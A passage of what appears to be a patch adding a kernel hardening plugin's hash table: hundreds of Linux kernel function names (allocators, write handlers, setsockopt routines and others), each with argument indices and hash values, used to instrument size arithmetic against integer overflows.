++_000329_hash kone_send 4 63435 _000329_hash NULL ++_000330_hash krealloc 2 14908 _000330_hash NULL ++_000331_hash kvmalloc 1 32646 _000331_hash NULL ++_000332_hash kvm_read_guest_atomic 4 10765 _000332_hash NULL ++_000333_hash kvm_read_guest_cached 4 39666 _000333_hash NULL ++_000334_hash kvm_read_guest_page 5 18074 _000334_hash NULL ++_000335_hash kzalloc 1 54740 _000335_hash NULL ++_000336_hash l2cap_sock_setsockopt 5 50207 _000336_hash NULL ++_000337_hash l2cap_sock_setsockopt_old 4 29346 _000337_hash NULL ++_000338_hash lane2_associate_req 4 45398 _000338_hash NULL ++_000339_hash lbs_debugfs_write 3 48413 _000339_hash NULL ++_000340_hash lcd_write 3 14857 _000340_hash &_000015_hash ++_000341_hash ldm_frag_add 2 5611 _000341_hash NULL ++_000342_hash __lgread 4 31668 _000342_hash NULL ++_000343_hash libipw_alloc_txb 1-3-2 27579 _000343_hash NULL ++_000344_hash link_send_sections_long 4 46556 _000344_hash NULL ++_000345_hash listxattr 3 12769 _000345_hash NULL ++_000346_hash load_msg 2 95 _000346_hash NULL ++_000347_hash lpfc_debugfs_dif_err_write 3 17424 _000347_hash NULL ++_000348_hash lp_write 3 9511 _000348_hash NULL ++_000349_hash mb_cache_create 2 17307 _000349_hash NULL ++_000350_hash mce_write 3 26201 _000350_hash NULL ++_000351_hash mcs7830_get_reg 3 33308 _000351_hash NULL ++_000352_hash mcs7830_set_reg 3 31413 _000352_hash NULL ++_000353_hash memcpy_fromiovec 3 55247 _000353_hash NULL ++_000354_hash memcpy_fromiovecend 3-4 2707 _000354_hash NULL ++_000356_hash mempool_resize 2 47983 _002039_hash NULL nohasharray ++_000357_hash mem_rw 3 22085 _000357_hash NULL ++_000358_hash mgmt_control 3 7349 _000358_hash NULL ++_000359_hash mgmt_pending_add 5 46976 _000359_hash NULL ++_000360_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000360_hash NULL ++_000361_hash mmc_alloc_sg 1 21504 _000361_hash NULL ++_000362_hash mmc_send_bus_test 4 18285 _000362_hash NULL ++_000363_hash mmc_send_cxd_data 5 38655 _000363_hash NULL ++_000364_hash module_alloc_update_bounds 1 47205 _000364_hash NULL ++_000365_hash move_addr_to_kernel 2 32673 _000365_hash NULL ++_000366_hash mpi_alloc_limb_space 1 23190 _000366_hash NULL ++_000367_hash mpi_resize 2 44674 _000367_hash NULL ++_000368_hash mptctl_getiocinfo 2 28545 _000368_hash NULL ++_000369_hash mtdchar_readoob 4 31200 _000369_hash NULL ++_000370_hash mtdchar_write 3 56831 _002122_hash NULL nohasharray ++_000371_hash mtdchar_writeoob 4 3393 _000371_hash NULL ++_000372_hash mtd_device_parse_register 5 5024 _000372_hash NULL ++_000373_hash mtf_test_write 3 18844 _000373_hash NULL ++_000374_hash mthca_alloc_icm_table 3-4 38268 _002459_hash NULL nohasharray ++_000376_hash mthca_alloc_init 2 21754 _000376_hash NULL ++_000377_hash mthca_array_init 2 39987 _000377_hash NULL ++_000378_hash mthca_buf_alloc 2 35861 _000378_hash NULL ++_000379_hash mtrr_write 3 59622 _000379_hash NULL ++_000380_hash musb_test_mode_write 3 33518 _000380_hash NULL ++_000381_hash mwifiex_get_common_rates 3 17131 _000381_hash NULL ++_000382_hash __mxt_write_reg 3 57326 _000382_hash NULL ++_000383_hash nand_bch_init 2-3 16280 _001439_hash NULL nohasharray ++_000385_hash ncp_file_write 3 3813 _000385_hash NULL ++_000386_hash ncp__vol2io 5 4804 _000386_hash NULL ++_000387_hash nes_alloc_fast_reg_page_list 2 33523 _000387_hash NULL ++_000388_hash nfc_targets_found 3 29886 _000388_hash NULL ++_000389_hash __nf_ct_ext_add_length 3 12364 _000389_hash NULL ++_000390_hash nfs4_acl_new 1 49806 _000390_hash NULL ++_000391_hash nfs4_write_cached_acl 4 15070 _000391_hash NULL ++_000392_hash nfsd_symlink 6 63442 _000392_hash NULL ++_000393_hash nfs_idmap_get_desc 2-4 42990 _000393_hash NULL ++_000395_hash nfs_readdir_make_qstr 3 12509 _000395_hash NULL ++_000396_hash note_last_dentry 3 12285 _000396_hash NULL ++_000397_hash ntfs_copy_from_user 3-5 15072 _000397_hash NULL ++_000399_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000399_hash NULL ++_000401_hash ntfs_ucstonls 3-5 23097 _000401_hash NULL ++_000403_hash nvme_alloc_iod 1 56027 _000403_hash NULL ++_000404_hash nvram_write 3 3894 _000404_hash NULL ++_000405_hash o2hb_debug_create 4 18744 _000405_hash NULL ++_000406_hash o2net_send_message_vec 4 879 _002013_hash NULL nohasharray ++_000407_hash ocfs2_control_cfu 2 37750 _000407_hash NULL ++_000408_hash oom_adjust_write 3 41116 _000408_hash NULL ++_000409_hash oom_score_adj_write 3 42594 _000409_hash NULL ++_000410_hash oprofilefs_ulong_from_user 3 57251 _000410_hash NULL ++_000411_hash opticon_write 4 60775 _000411_hash NULL ++_000412_hash p9_check_zc_errors 4 15534 _000412_hash NULL ++_000413_hash packet_buffer_init 2 1607 _000413_hash NULL ++_000414_hash packet_setsockopt 5 17662 _000414_hash NULL ++_000415_hash parse_command 2 37079 _000415_hash NULL ++_000416_hash pcbit_writecmd 2 12332 _000416_hash NULL ++_000417_hash pcmcia_replace_cis 3 57066 _000417_hash NULL ++_000418_hash pgctrl_write 3 50453 _000418_hash NULL ++_000419_hash pg_write 3 40766 _000419_hash NULL ++_000420_hash pidlist_allocate 1 64404 _000420_hash NULL ++_000421_hash pipe_iov_copy_from_user 3 23102 _000421_hash NULL ++_000422_hash pipe_iov_copy_to_user 3 3447 _000422_hash NULL ++_000423_hash pkt_add 3 39897 _000423_hash NULL ++_000424_hash pktgen_if_write 3 55628 _000424_hash NULL ++_000425_hash platform_device_add_data 3 310 _000425_hash NULL ++_000426_hash platform_device_add_resources 3 13289 _000426_hash NULL ++_000427_hash pmcraid_copy_sglist 3 38431 _000427_hash NULL ++_000428_hash pm_qos_power_write 3 52513 _000428_hash NULL ++_000429_hash pnpbios_proc_write 3 19758 _000429_hash NULL ++_000430_hash pool_allocate 3 42012 _000430_hash NULL ++_000431_hash posix_acl_alloc 1 48063 _000431_hash NULL ++_000432_hash ppp_cp_parse_cr 4 5214 _000432_hash NULL ++_000433_hash ppp_write 3 34034 _000433_hash NULL ++_000434_hash pp_read 3 33210 _000434_hash NULL ++_000435_hash pp_write 3 39554 _000435_hash NULL ++_000436_hash printer_req_alloc 2 62687 _000436_hash NULL ++_000437_hash printer_write 3 60276 _000437_hash NULL ++_000438_hash prism2_info_scanresults 3 59729 _000438_hash NULL ++_000439_hash prism2_set_genericelement 3 29277 _000439_hash NULL ++_000440_hash __probe_kernel_read 3 61119 _000440_hash NULL ++_000441_hash __probe_kernel_write 3 29842 _000441_hash NULL ++_000442_hash proc_coredump_filter_write 3 25625 _000442_hash NULL ++_000443_hash _proc_do_string 2 6376 _000443_hash NULL ++_000444_hash process_vm_rw_pages 5-6 15954 _000444_hash NULL ++_000446_hash proc_loginuid_write 3 63648 _000446_hash NULL ++_000447_hash proc_pid_attr_write 3 63845 _000447_hash NULL ++_000448_hash proc_scsi_devinfo_write 3 32064 _000448_hash NULL ++_000449_hash proc_scsi_write 3 29142 _000449_hash NULL ++_000450_hash proc_scsi_write_proc 3 267 _000450_hash NULL ++_000451_hash pskb_expand_head 2-3 42881 _000451_hash NULL ++_000453_hash pstore_mkfile 5 50830 _000453_hash NULL ++_000454_hash pti_char_write 3 60960 _000454_hash NULL ++_000455_hash ptrace_writedata 4 45021 _000455_hash NULL ++_000456_hash pt_write 3 40159 _000456_hash NULL ++_000457_hash qdisc_class_hash_alloc 1 18262 _000457_hash NULL ++_000458_hash r3964_write 4 57662 _000458_hash NULL ++_000459_hash raw_seticmpfilter 3 6888 _000459_hash NULL ++_000460_hash raw_setsockopt 5 45800 _000460_hash NULL ++_000461_hash rawv6_seticmpfilter 5 12137 _000461_hash NULL ++_000462_hash ray_cs_essid_proc_write 3 17875 _000462_hash NULL ++_000463_hash rbd_add 3 16366 _000463_hash NULL ++_000464_hash rbd_snap_add 4 19678 _000464_hash NULL ++_000465_hash rdma_set_ib_paths 3 45592 _000465_hash NULL ++_000466_hash rds_page_copy_user 4 35691 _000466_hash NULL ++_000467_hash read 3 9397 _000467_hash NULL ++_000468_hash read_buf 2 20469 _000468_hash NULL ++_000469_hash read_cis_cache 4 29735 _000469_hash NULL ++_000470_hash realloc_buffer 2 25816 _000470_hash NULL ++_000471_hash receive_DataRequest 3 9904 _000471_hash NULL ++_000472_hash recent_mt_proc_write 3 8206 _000472_hash NULL ++_000473_hash regmap_access_read_file 3 37223 _000473_hash NULL ++_000474_hash regmap_bulk_write 4 59049 _000474_hash NULL ++_000475_hash regmap_map_read_file 3 37685 _000475_hash NULL ++_000476_hash regset_tls_set 4 18459 _000476_hash NULL ++_000477_hash reiserfs_add_entry 4 23062 _002792_hash NULL nohasharray ++_000478_hash remote_settings_file_write 3 22987 _000478_hash NULL ++_000479_hash request_key_auth_new 3 38092 _000479_hash NULL ++_000480_hash restore_i387_fxsave 2 17528 _000480_hash NULL ++_000481_hash revalidate 2 19043 _000481_hash NULL ++_000482_hash rfcomm_sock_setsockopt 5 18254 _000482_hash NULL ++_000483_hash rndis_add_response 2 58544 _000483_hash NULL ++_000484_hash rndis_set_oid 4 6547 _000484_hash NULL ++_000485_hash rngapi_reset 3 34366 _002137_hash NULL nohasharray ++_000486_hash roccat_common2_receive 4 50369 _000486_hash NULL ++_000487_hash roccat_common2_send 4 2422 _000487_hash NULL ++_000488_hash rpc_malloc 2 43573 _000488_hash NULL ++_000489_hash rt2x00debug_write_bbp 3 8212 _000489_hash NULL ++_000490_hash rt2x00debug_write_csr 3 64753 _000490_hash NULL ++_000491_hash rt2x00debug_write_eeprom 3 23091 _000491_hash NULL ++_000492_hash rt2x00debug_write_rf 3 38195 _000492_hash NULL ++_000493_hash rt2x00debug_write_rfcsr 3 41473 _000493_hash NULL ++_000494_hash rts51x_read_mem 4 26577 _002730_hash NULL nohasharray ++_000495_hash rts51x_read_status 4 11830 _000495_hash NULL ++_000496_hash rts51x_write_mem 4 17598 _000496_hash NULL ++_000497_hash rw_copy_check_uvector 3 45748 _003716_hash NULL nohasharray ++_000498_hash rxrpc_request_key 3 27235 _000498_hash NULL ++_000499_hash rxrpc_server_keyring 3 16431 _000499_hash NULL ++_000500_hash savemem 3 58129 _000500_hash NULL ++_000501_hash sb16_copy_from_user 10-7-6 55836 _000501_hash NULL ++_000504_hash sched_autogroup_write 3 10984 _000504_hash NULL ++_000505_hash scsi_mode_select 6 37330 _000505_hash NULL ++_000506_hash scsi_tgt_copy_sense 3 26933 _000506_hash NULL ++_000507_hash sctp_auth_create_key 1 51641 _000507_hash NULL ++_000508_hash sctp_getsockopt_delayed_ack 2 9232 _000508_hash NULL ++_000509_hash sctp_getsockopt_local_addrs 2 25178 _000509_hash NULL ++_000510_hash sctp_make_abort_user 3 29654 _000510_hash NULL ++_000511_hash sctp_setsockopt_active_key 3 43755 _000511_hash NULL ++_000512_hash sctp_setsockopt_adaptation_layer 3 26935 _003246_hash NULL nohasharray ++_000513_hash sctp_setsockopt_associnfo 3 51684 _000513_hash NULL ++_000514_hash sctp_setsockopt_auth_chunk 3 30843 _000514_hash NULL ++_000515_hash sctp_setsockopt_auth_key 3 3793 _000515_hash NULL ++_000516_hash sctp_setsockopt_autoclose 3 5775 _000516_hash NULL ++_000517_hash sctp_setsockopt_bindx 3 49870 _000517_hash NULL ++_000518_hash __sctp_setsockopt_connectx 3 46949 _000518_hash NULL ++_000519_hash sctp_setsockopt_context 3 31091 _000519_hash NULL ++_000520_hash sctp_setsockopt_default_send_param 3 49578 _000520_hash NULL ++_000521_hash sctp_setsockopt_delayed_ack 3 40129 _000521_hash NULL ++_000522_hash sctp_setsockopt_del_key 3 42304 _002709_hash NULL nohasharray ++_000523_hash sctp_setsockopt_events 3 18862 _000523_hash NULL ++_000524_hash sctp_setsockopt_hmac_ident 3 11687 _000524_hash NULL ++_000525_hash sctp_setsockopt_initmsg 3 1383 _000525_hash NULL ++_000526_hash sctp_setsockopt_maxburst 3 28041 _000526_hash NULL ++_000527_hash sctp_setsockopt_maxseg 3 11829 _000527_hash NULL ++_000528_hash sctp_setsockopt_peer_addr_params 3 734 _000528_hash NULL ++_000529_hash sctp_setsockopt_peer_primary_addr 3 13440 _000529_hash NULL ++_000530_hash sctp_setsockopt_rtoinfo 3 30941 _000530_hash NULL ++_000531_hash security_context_to_sid_core 2 29248 _000531_hash NULL ++_000532_hash sel_commit_bools_write 3 46077 _000532_hash NULL ++_000533_hash sel_write_avc_cache_threshold 3 2256 _000533_hash NULL ++_000534_hash sel_write_bool 3 46996 _000534_hash NULL ++_000535_hash sel_write_checkreqprot 3 60774 _000535_hash NULL ++_000536_hash sel_write_disable 3 10511 _000536_hash NULL ++_000537_hash sel_write_enforce 3 48998 _000537_hash NULL ++_000538_hash sel_write_load 3 63830 _000538_hash NULL ++_000539_hash send_bulk_static_data 3 61932 _000539_hash NULL ++_000540_hash set_aoe_iflist 2 42737 _000540_hash NULL ++_000541_hash setkey_unaligned 3 39474 _000541_hash NULL ++_000542_hash set_registers 3 53582 _000542_hash NULL ++_000543_hash setsockopt 5 54539 _000543_hash NULL ++_000544_hash setup_req 3 5848 _000544_hash NULL ++_000545_hash setxattr 4 37006 _000545_hash NULL ++_000546_hash sfq_alloc 1 2861 _000546_hash NULL ++_000547_hash sg_kmalloc 1 50240 _000547_hash NULL ++_000548_hash sgl_map_user_pages 2 30610 _000548_hash NULL ++_000549_hash shash_setkey_unaligned 3 8620 _000549_hash NULL ++_000550_hash shmem_xattr_alloc 2 61190 _000550_hash NULL ++_000551_hash sierra_setup_urb 5 46029 _000551_hash NULL ++_000552_hash simple_transaction_get 3 50633 _000552_hash NULL ++_000553_hash simple_write_to_buffer 2-5 3122 _000553_hash NULL ++_000555_hash sisusb_send_bulk_msg 3 17864 _000555_hash NULL ++_000556_hash skb_add_data 3 48363 _000556_hash NULL ++_000557_hash skb_do_copy_data_nocache 5 12465 _000557_hash NULL ++_000558_hash sl_alloc_bufs 2 50380 _000558_hash NULL ++_000559_hash sl_realloc_bufs 2 64086 _000559_hash NULL ++_000560_hash smk_set_cipso 3 20379 _000560_hash NULL ++_000561_hash smk_write_ambient 3 45691 _000561_hash NULL ++_000562_hash smk_write_direct 3 46363 _000562_hash NULL ++_000563_hash smk_write_doi 3 49621 _000563_hash NULL ++_000564_hash smk_write_logging 3 2618 _000564_hash NULL ++_000565_hash smk_write_mapped 3 13519 _000565_hash NULL ++_000566_hash smk_write_netlbladdr 3 42525 _000566_hash NULL ++_000567_hash smk_write_onlycap 3 14400 _000567_hash NULL ++_000568_hash smk_write_rules_list 3 18565 _000568_hash NULL ++_000569_hash snd_ctl_elem_user_tlv 3 11695 _000569_hash NULL ++_000570_hash snd_emu10k1_fx8010_read 5 9605 _000570_hash NULL ++_000571_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000571_hash NULL ++_000573_hash snd_gus_dram_poke 4 18525 _000573_hash NULL ++_000574_hash snd_hdsp_playback_copy 5 20676 _000574_hash NULL ++_000575_hash snd_info_entry_write 3 63474 _000575_hash NULL ++_000576_hash snd_korg1212_copy_from 6 36169 _000576_hash NULL ++_000577_hash snd_mem_proc_write 3 9786 _000577_hash NULL ++_000578_hash snd_midi_channel_init_set 1 30092 _000578_hash NULL ++_000579_hash snd_midi_event_new 1 9893 _000764_hash NULL nohasharray ++_000580_hash snd_opl4_mem_proc_write 5 9670 _000580_hash NULL ++_000581_hash snd_pcm_aio_read 3 13900 _000581_hash NULL ++_000582_hash snd_pcm_aio_write 3 28738 _000582_hash NULL ++_000583_hash snd_pcm_oss_write1 3 10872 _000583_hash NULL ++_000584_hash snd_pcm_oss_write2 3 27332 _000584_hash NULL ++_000585_hash snd_rawmidi_kernel_write1 4 56847 _000585_hash NULL ++_000586_hash snd_rme9652_playback_copy 5 20970 _000586_hash NULL ++_000587_hash snd_sb_csp_load_user 3 45190 _000587_hash NULL ++_000588_hash snd_usb_ctl_msg 8 8436 _000588_hash NULL ++_000589_hash sock_bindtodevice 3 50942 _000589_hash NULL ++_000590_hash sock_kmalloc 2 62205 _000590_hash NULL ++_000591_hash spidev_ioctl 2 12846 _000591_hash NULL ++_000592_hash spidev_write 3 44510 _000592_hash NULL ++_000593_hash squashfs_read_table 3 16945 _000593_hash NULL ++_000594_hash srpt_alloc_ioctx 2-3 51042 _000594_hash NULL ++_000596_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000596_hash NULL ++_000597_hash st5481_setup_isocpipes 6-4 61340 _000597_hash NULL ++_000598_hash sta_agg_status_write 3 45164 _000598_hash NULL ++_000599_hash svc_setsockopt 5 36876 _000599_hash NULL ++_000600_hash sys_add_key 4 61288 _000600_hash NULL ++_000601_hash sys_modify_ldt 3 18824 _000601_hash NULL ++_000602_hash sys_semtimedop 3 4486 _000602_hash NULL ++_000603_hash sys_setdomainname 2 4373 _000603_hash NULL ++_000604_hash sys_sethostname 2 42962 _000604_hash NULL ++_000605_hash tomoyo_write_self 3 45161 _000605_hash NULL ++_000606_hash tower_write 3 8580 _000606_hash NULL ++_000607_hash tpm_write 3 50798 _000607_hash NULL ++_000608_hash trusted_instantiate 3 4710 _000608_hash NULL ++_000609_hash trusted_update 3 12664 _000609_hash NULL ++_000610_hash tty_buffer_alloc 2 45437 _000610_hash NULL ++_000611_hash __tun_chr_ioctl 4 22300 _000611_hash NULL ++_000612_hash ubi_more_leb_change_data 4 63534 _000612_hash NULL ++_000613_hash ubi_more_update_data 4 39189 _000613_hash NULL ++_000614_hash ubi_resize_volume 2 50172 _000614_hash NULL ++_000615_hash udf_alloc_i_data 2 35786 _000615_hash NULL ++_000616_hash uea_idma_write 3 64139 _000616_hash NULL ++_000617_hash uea_request 4 47613 _000617_hash NULL ++_000618_hash uea_send_modem_cmd 3 3888 _000618_hash NULL ++_000619_hash uio_write 3 43202 _000619_hash NULL ++_000620_hash um_idi_write 3 18293 _000620_hash NULL ++_000621_hash us122l_ctl_msg 8 13330 _000621_hash NULL ++_000622_hash usb_alloc_urb 1 43436 _000622_hash NULL ++_000623_hash usblp_new_writeurb 2 22894 _000623_hash NULL ++_000624_hash usblp_write 3 23178 _000624_hash NULL ++_000625_hash usbtest_alloc_urb 3-5 34446 _000625_hash NULL ++_000627_hash usbtmc_write 3 64340 _000627_hash NULL ++_000628_hash user_instantiate 3 26131 _000628_hash NULL ++_000629_hash user_update 3 41332 _000629_hash NULL ++_000630_hash uwb_rc_cmd_done 4 35892 _000630_hash NULL ++_000631_hash uwb_rc_neh_grok_event 3 55799 _000631_hash NULL ++_000632_hash v9fs_alloc_rdir_buf 2 42150 _000632_hash NULL ++_000633_hash vc_do_resize 3-4 48842 _000633_hash NULL ++_000635_hash vcs_write 3 3910 _000635_hash NULL ++_000636_hash vga_arb_write 3 36112 _000636_hash NULL ++_000637_hash vga_switcheroo_debugfs_write 3 33984 _000637_hash NULL ++_000638_hash vhci_get_user 3 45039 _000638_hash NULL ++_000639_hash video_proc_write 3 6724 _000639_hash NULL ++_000640_hash vlsi_alloc_ring 3-4 57003 _000640_hash NULL ++_000642_hash __vmalloc 1 61168 _000642_hash NULL ++_000643_hash vmalloc_32 1 1135 _000643_hash NULL ++_000644_hash vmalloc_32_user 1 37519 _000644_hash NULL ++_000645_hash vmalloc_exec 1 36132 _000645_hash NULL ++_000646_hash vmalloc_node 1 58700 _000646_hash NULL ++_000647_hash __vmalloc_node_flags 1 30352 _000647_hash NULL ++_000648_hash vmalloc_user 1 32308 _000648_hash NULL ++_000649_hash vol_cdev_direct_write 3 20751 _000649_hash NULL ++_000650_hash vp_request_msix_vectors 2 28849 _000650_hash NULL ++_000651_hash vring_add_indirect 3-4 20737 _000651_hash NULL ++_000653_hash vring_new_virtqueue 1 9671 _000653_hash NULL ++_000654_hash vxge_os_dma_malloc 2 46184 _000654_hash NULL ++_000655_hash vxge_os_dma_malloc_async 3 56348 _000655_hash NULL ++_000656_hash wdm_write 3 53735 _000656_hash NULL ++_000657_hash wiimote_hid_send 3 48528 _000657_hash NULL ++_000658_hash wlc_phy_loadsampletable_nphy 3 64367 _000658_hash NULL ++_000659_hash write 3 62671 _000659_hash NULL ++_000660_hash write_flush 3 50803 _000660_hash NULL ++_000661_hash write_rio 3 54837 _000661_hash NULL ++_000662_hash x25_asy_change_mtu 2 26928 _000662_hash NULL ++_000663_hash xdi_copy_from_user 4 8395 _000663_hash NULL ++_000664_hash xfrm_dst_alloc_copy 3 3034 _000664_hash NULL ++_000665_hash xfrm_user_policy 4 62573 _000665_hash NULL ++_000666_hash xfs_attrmulti_attr_set 4 59346 _000666_hash NULL ++_000667_hash xfs_handle_to_dentry 3 12135 _000667_hash NULL ++_000668_hash xip_file_read 3 58592 _000668_hash NULL ++_000669_hash __xip_file_write 3-4 2733 _000669_hash NULL ++_000671_hash xprt_rdma_allocate 2 31372 _000671_hash NULL ++_000672_hash zd_usb_iowrite16v_async 3 23984 _000672_hash NULL ++_000673_hash zd_usb_read_fw 4 22049 _000673_hash NULL ++_000674_hash zerocopy_sg_from_iovec 3 11828 _000674_hash NULL ++_000675_hash __a2mp_build 3 60987 _000675_hash NULL ++_000677_hash acpi_ex_allocate_name_string 2-1 7685 _001169_hash NULL nohasharray ++_000678_hash acpi_os_allocate_zeroed 1 37422 _000678_hash NULL ++_000679_hash acpi_ut_initialize_buffer 2 47143 _002830_hash NULL nohasharray ++_000680_hash ad7879_spi_xfer 3 36311 _000680_hash NULL ++_000681_hash add_new_gdb 3 27643 _000681_hash NULL ++_000682_hash add_numbered_child 5 14273 _000682_hash NULL ++_000683_hash add_res_range 4 21310 _000683_hash NULL ++_000684_hash addtgt 3 54703 _000684_hash NULL ++_000685_hash add_uuid 4 49831 _000685_hash NULL ++_000686_hash afs_cell_alloc 2 24052 _000686_hash NULL ++_000687_hash aggr_recv_addba_req_evt 4 38037 _000687_hash NULL ++_000688_hash agp_create_memory 1 1075 _000688_hash NULL ++_000689_hash agp_create_user_memory 1 62955 _000689_hash NULL ++_000690_hash alg_setsockopt 5 20985 _000690_hash NULL ++_000691_hash alloc_async 1 14208 _000691_hash NULL ++_000692_hash ___alloc_bootmem_nopanic 1 53626 _000692_hash NULL ++_000693_hash alloc_buf 1 34532 _000693_hash NULL ++_000694_hash alloc_chunk 1 49575 _000694_hash NULL ++_000695_hash alloc_context 1 41283 _000695_hash NULL ++_000696_hash alloc_ctrl_packet 1 44667 _000696_hash NULL ++_000697_hash alloc_data_packet 1 46698 _000697_hash NULL ++_000698_hash alloc_dca_provider 2 59670 _000698_hash NULL ++_000699_hash __alloc_dev_table 2 54343 _000699_hash NULL ++_000700_hash alloc_ep 1 17269 _000700_hash NULL ++_000701_hash __alloc_extent_buffer 3 15093 _000701_hash NULL ++_000702_hash alloc_group_attrs 2 9194 _000727_hash NULL nohasharray ++_000703_hash alloc_large_system_hash 2 22391 _000703_hash NULL ++_000704_hash alloc_netdev_mqs 1 30030 _000704_hash NULL ++_000705_hash __alloc_objio_seg 1 7203 _000705_hash NULL ++_000706_hash alloc_ring 2-4 15345 _000706_hash NULL ++_000707_hash alloc_ring 2-4 39151 _000707_hash NULL ++_000710_hash alloc_session 1-2 64171 _000710_hash NULL ++_000714_hash alloc_skb 1 55439 _000714_hash NULL ++_000715_hash alloc_skb_fclone 1 3467 _000715_hash NULL ++_000716_hash alloc_smp_req 1 51337 _000716_hash NULL ++_000717_hash alloc_smp_resp 1 3566 _000717_hash NULL ++_000718_hash alloc_ts_config 1 45775 _000718_hash NULL ++_000719_hash alloc_upcall 2 62186 _000719_hash NULL ++_000720_hash altera_drscan 2 48698 _000720_hash NULL ++_000721_hash altera_irscan 2 62396 _000721_hash NULL ++_000722_hash altera_set_dr_post 2 54291 _000722_hash NULL ++_000723_hash altera_set_dr_pre 2 64862 _000723_hash NULL ++_000724_hash altera_set_ir_post 2 20948 _000724_hash NULL ++_000725_hash altera_set_ir_pre 2 54103 _000725_hash NULL ++_000726_hash altera_swap_dr 2 50090 _000726_hash NULL ++_000727_hash altera_swap_ir 2 9194 _000727_hash &_000702_hash ++_000728_hash amd_create_gatt_pages 1 20537 _000728_hash NULL ++_000729_hash aoechr_write 3 62883 _003674_hash NULL nohasharray ++_000730_hash applesmc_create_nodes 2 49392 _000730_hash NULL ++_000731_hash array_zalloc 1-2 7519 _000731_hash NULL ++_000733_hash arvo_sysfs_read 6 31617 _000733_hash NULL ++_000734_hash arvo_sysfs_write 6 3311 _000734_hash NULL ++_000735_hash asd_store_update_bios 4 10165 _000735_hash NULL ++_000736_hash ata_host_alloc 2 46094 _000736_hash NULL ++_000737_hash atalk_sendmsg 4 21677 _000737_hash NULL ++_000738_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000738_hash NULL ++_000739_hash ath6kl_mgmt_tx 9 21153 _000739_hash NULL ++_000740_hash ath6kl_wmi_proc_events_vif 5 42549 _003190_hash NULL nohasharray ++_000741_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000741_hash NULL ++_000742_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000742_hash NULL ++_000743_hash ath_descdma_setup 5 12257 _000743_hash NULL ++_000744_hash ath_rx_edma_init 2 65483 _000744_hash NULL ++_000745_hash ati_create_gatt_pages 1 4722 _003275_hash NULL nohasharray ++_000746_hash audit_expand 2 2098 _000746_hash NULL ++_000747_hash audit_init_entry 1 38644 _000747_hash NULL ++_000748_hash ax25_sendmsg 4 62770 _000748_hash NULL ++_000749_hash b1_alloc_card 1 36155 _000749_hash NULL ++_000750_hash b43_nphy_load_samples 3 36481 _000750_hash NULL ++_000751_hash batadv_orig_hash_add_if 2 10033 _000751_hash NULL ++_000752_hash batadv_orig_hash_del_if 2 48972 _000752_hash NULL ++_000753_hash batadv_tt_append_diff 4 20588 _000753_hash NULL ++_000754_hash batadv_tt_commit_changes 4 2008 _000754_hash NULL ++_000755_hash batadv_tt_prepare_packet_buff 4 1280 _000755_hash NULL ++_000756_hash bio_copy_user_iov 4 37660 _000756_hash NULL ++_000757_hash __bio_map_kern 3 47379 _000757_hash NULL ++_000758_hash bitmap_resize 2 33054 _000758_hash NULL ++_000759_hash blk_check_plugged 3 50736 _000759_hash NULL ++_000760_hash blk_register_region 1-2 51424 _000760_hash NULL ++_000762_hash bm_entry_write 3 28338 _000762_hash NULL ++_000763_hash bm_realloc_pages 2 9431 _000763_hash NULL ++_000764_hash bm_register_write 3 9893 _000764_hash &_000579_hash ++_000765_hash bm_status_write 3 12964 _000765_hash NULL ++_000766_hash br_mdb_rehash 2 42643 _000766_hash NULL ++_000767_hash btmrvl_sdio_host_to_card 3 12152 _000767_hash NULL ++_000768_hash btrfs_copy_from_user 1-3 43806 _000768_hash NULL ++_000770_hash btrfs_insert_delayed_dir_index 4 63720 _000770_hash NULL ++_000771_hash __btrfs_map_block 3 49839 _000771_hash NULL ++_000772_hash c4iw_init_resource 2-3 30393 _000772_hash NULL ++_000774_hash cache_downcall 3 13666 _000774_hash NULL ++_000775_hash cache_slow_downcall 2 8570 _000775_hash NULL ++_000776_hash caif_seqpkt_sendmsg 4 22961 _000776_hash NULL ++_000777_hash caif_stream_sendmsg 4 9110 _000777_hash NULL ++_000778_hash carl9170_cmd_buf 3 950 _000778_hash NULL ++_000779_hash cdev_add 2-3 38176 _000779_hash NULL ++_000781_hash cdrom_read_cdda 4 50478 _000781_hash NULL ++_000782_hash ceph_dns_resolve_name 2 62488 _000782_hash NULL ++_000783_hash ceph_msgpool_get 2 54258 _000783_hash NULL ++_000784_hash cfg80211_connect_result 4-6 56515 _000784_hash NULL ++_000786_hash cfg80211_disconnected 4 57 _000786_hash NULL ++_000787_hash cfg80211_inform_bss 8 19332 _000787_hash NULL ++_000788_hash cfg80211_inform_bss_frame 4 41078 _000788_hash NULL ++_000789_hash cfg80211_mlme_register_mgmt 5 19852 _000789_hash NULL ++_000790_hash cfg80211_roamed_bss 4-6 50198 _000790_hash NULL ++_000792_hash cgroup_file_write 3 52417 _000792_hash NULL ++_000793_hash cifs_readdata_alloc 1 26360 _000793_hash NULL ++_000794_hash cifs_readv_from_socket 3 19109 _000794_hash NULL ++_000795_hash cifs_writedata_alloc 1 32880 _003097_hash NULL nohasharray ++_000796_hash cnic_alloc_dma 3 34641 _000796_hash NULL ++_000797_hash cnic_init_id_tbl 2 41354 _000797_hash NULL ++_000798_hash configfs_write_file 3 61621 _000798_hash NULL ++_000799_hash construct_key 3 11329 _000799_hash NULL ++_000800_hash context_alloc 3 24645 _000800_hash NULL ++_000801_hash copy_to_user 3 57835 _000801_hash NULL ++_000802_hash cp210x_get_config 4 56229 _000802_hash NULL ++_000803_hash create_attr_set 1 22861 _000803_hash NULL ++_000804_hash create_bounce_buffer 3 39155 _000804_hash NULL ++_000805_hash create_gpadl_header 2 19064 _000805_hash NULL ++_000806_hash _create_sg_bios 4 31244 _000806_hash NULL ++_000807_hash cryptd_alloc_instance 2-3 18048 _000807_hash NULL ++_000809_hash crypto_ahash_setkey 3 55134 _000809_hash NULL ++_000810_hash crypto_alloc_instance2 3 25277 _000810_hash NULL ++_000811_hash crypto_shash_setkey 3 60483 _000811_hash NULL ++_000812_hash cxgb_alloc_mem 1 24007 _000812_hash NULL ++_000813_hash cxgbi_device_portmap_create 3 25747 _000813_hash NULL ++_000814_hash cxgbi_device_register 1-2 36746 _000814_hash NULL ++_000816_hash __cxio_init_resource_fifo 3 23447 _000816_hash NULL ++_000817_hash dccp_sendmsg 4 56058 _000817_hash NULL ++_000818_hash ddp_make_gl 1 12179 _000818_hash NULL ++_000819_hash depth_write 3 